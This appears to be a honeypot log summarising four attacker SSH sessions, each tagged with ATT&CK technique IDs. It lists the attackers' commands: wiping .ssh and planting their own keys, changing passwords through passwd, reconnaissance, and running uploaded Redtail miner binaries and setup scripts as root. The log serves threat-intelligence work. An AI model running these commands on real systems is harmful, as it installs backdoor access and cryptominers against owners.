45.174.162.68 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T15:24:14.368024+00:00 → 2026-08-28T15:24:38.649963+00:00, <1m)
  1. logged in as kate
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "123\nde9xxNcZHYJc\nde9xxNcZHYJc"|passwd|bash
  6. ran echo "123\nde9xxNcZHYJc\nde9xxNcZHYJc\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
130.12.180.51 — T1059.004, T1078, T1105, T1222.002 (2026-08-28T16:06:42.273323+00:00 → 2026-08-28T16:06:52.028514+00:00, <1m)
  1. logged in as root
  2. ran chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6…[truncated]
  3. uploaded clean.sh
  4. uploaded redtail.arm7
  5. uploaded redtail.arm8
  6. uploaded redtail.i686
  7. uploaded redtail.riscv
  8. uploaded redtail.x86_64
  9. uploaded setup.sh
211.97.69.110 — T1059.004, T1078 (2026-08-28T16:20:33.178007+00:00 → 2026-08-28T16:20:33.888069+00:00, <1m)
  1. logged in as celeryuser
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
45.154.244.193 — T1078 (2026-08-28T20:30:29.029159+00:00 → 2026-08-28T20:30:29.029159+00:00, <1m)
  1. logged in as karina